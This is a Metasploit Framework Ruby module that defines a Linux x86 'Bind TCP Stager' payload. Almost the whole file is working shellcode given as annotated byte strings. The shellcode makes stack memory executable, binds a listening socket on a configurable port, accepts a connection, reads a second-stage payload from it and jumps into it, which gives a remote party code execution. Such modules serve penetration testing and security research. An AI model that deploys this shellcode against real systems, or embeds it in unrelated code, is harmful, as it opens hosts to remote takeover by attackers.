##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##


require 'msf/core'
require 'msf/core/handler/bind_tcp'


###
#
# BindTcp
# -------
#
# Linux bind TCP stager.
#
###
module Metasploit3

	include Msf::Payload::Stager
	include Msf::Payload::Linux

	def initialize(info = {})
		super(merge_info(info,
			'Name'          => 'Bind TCP Stager',
			'Description'   => 'Listen for a connection',
			'Author'        => [
					'skape',  # original
					'egypt',  # NX support
				],
			'License'       => MSF_LICENSE,
			'Platform'      => 'linux',
			'Arch'          => ARCH_X86,
			'Handler'       => Msf::Handler::BindTcp,
			'Stager'        =>
				{
					'Offsets' =>
						{
							'LPORT' => [ 0x29, 'n'    ],
						},
					'Payload' =>

							"\x6a\x7d"             +#   push byte +0x7d
							"\x58"                 +#   pop eax
							"\x99"                 +#   cdq
							"\xb2\x07"             +#   mov dl,0x7
							"\xb9\x00\x10\x00\x00" +#   mov ecx,0x1000
							"\x89\xe3"             +#   mov ebx,esp
							"\x66\x81\xe3\x00\xf0" +#   and bx,0xf000
							"\xcd\x80"             +#   int 0x80
							"\x31\xdb"             +#   xor ebx,ebx
							"\xf7\xe3"             +#   mul ebx
							"\x53"                 +#   push ebx
							"\x43"                 +#   inc ebx
							"\x53"                 +#   push ebx
							"\x6a\x02"             +#   push byte +0x2
							"\x89\xe1"             +#   mov ecx,esp
							"\xb0\x66"             +#   mov al,0x66
							"\xcd\x80"             +#   int 0x80
							"\x5b"                 +#   pop ebx
							"\x5e"                 +#   pop esi
							"\x52"                 +#   push edx
							"\x68\x02\x00\xbf\xbf" +#   push dword 0xbfbf0002
							"\x6a\x10"             +#   push byte +0x10
							"\x51"                 +#   push ecx
							"\x50"                 +#   push eax
							"\x89\xe1"             +#   mov ecx,esp
							"\x6a\x66"             +#   push byte +0x66
							"\x58"                 +#   pop eax
							"\xcd\x80"             +#   int 0x80
							"\xd1\xe3"             +#   shl ebx,1
							"\xb0\x66"             +#   mov al,0x66
							"\xcd\x80"             +#   int 0x80
							"\x43"                 +#   inc ebx
							"\xb0\x66"             +#   mov al,0x66
							"\x89\x51\x04"         +#   mov [ecx+0x4],edx
							"\xcd\x80"             +#   int 0x80
							"\x93"                 +#   xchg eax,ebx
							"\xb6\x0c"             +#   mov dh,0xc
							"\xb0\x03"             +#   mov al,0x3
							"\xcd\x80"             +#   int 0x80
							"\x89\xdf"             +#   mov edi,ebx
							"\xff\xe1"              #   jmp ecx

				}
			))
	end

end
